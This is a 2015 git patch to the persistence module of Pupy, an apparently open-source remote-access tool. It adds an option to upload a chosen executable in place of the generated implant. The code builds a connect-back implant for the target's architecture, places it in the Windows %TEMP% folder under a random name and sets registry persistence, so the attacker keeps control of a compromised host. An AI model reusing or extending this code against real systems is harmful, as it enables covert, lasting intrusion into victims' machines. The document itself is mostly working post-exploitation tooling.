From 57c3b8254101fbe533aa58535b7f3675c290727e Mon Sep 17 00:00:00 2001 From: n1nj4sec Date: Fri, 9 Oct 2015 19:40:24 +0200 Subject: [PATCH] add an option to persistency module to supply another exe/script --- pupy/modules/persistence.py | 19 +++++++++++++------ 1 file changed, 13 insertions(+), 6 deletions(-) diff --git a/pupy/modules/persistence.py b/pupy/modules/persistence.py index ded697be..9d9cb7c8 100644 --- a/pupy/modules/persistence.py +++ b/pupy/modules/persistence.py @@ -11,6 +11,7 @@ class PersistenceModule(PupyModule): """ Enables persistence via registry keys """ def init_argparse(self): self.arg_parser = PupyArgumentParser(prog="persistence", description=self.__doc__) + self.arg_parser.add_argument('-e','--exe', help='Use an alternative file and set persistency') self.arg_parser.add_argument('-m','--method', choices=['registry'], required=True, help='persistence method') @windows_only @@ -18,19 +19,25 @@ class PersistenceModule(PupyModule): pass def run(self, args): - if args.method=="registry": - self.client.load_package("pupwinutils.persistence") - + exebuff=b"" + if args.exe: + with open(args.exe,'rb') as f: + exebuff=f.read() + self.info("loading %s ..."%args.exe) + else: #retrieving conn info res=self.client.conn.modules['pupy'].get_connect_back_host() host, port=res.rsplit(':',1) - - self.info("generating exe ...") #generating exe + self.info("generating exe ...") if self.client.desc['proc_arch']=="64bit": exebuff=pupygen.get_edit_pupyx64_exe(host, port) else: exebuff=pupygen.get_edit_pupyx86_exe(host, port) + if args.method=="registry": + self.client.load_package("pupwinutils.persistence") + + remote_path=self.client.conn.modules['os.path'].expandvars("%TEMP%\\{}.exe".format(''.join([random.choice(string.ascii_lowercase) for x in range(0,random.randint(6,12))]))) self.info("uploading to %s ..."%remote_path) @@ -54,5 +61,5 @@ class PersistenceModule(PupyModule): self.success("persistence added !") else: - self.error("not implemented") + self.error("method not implemented")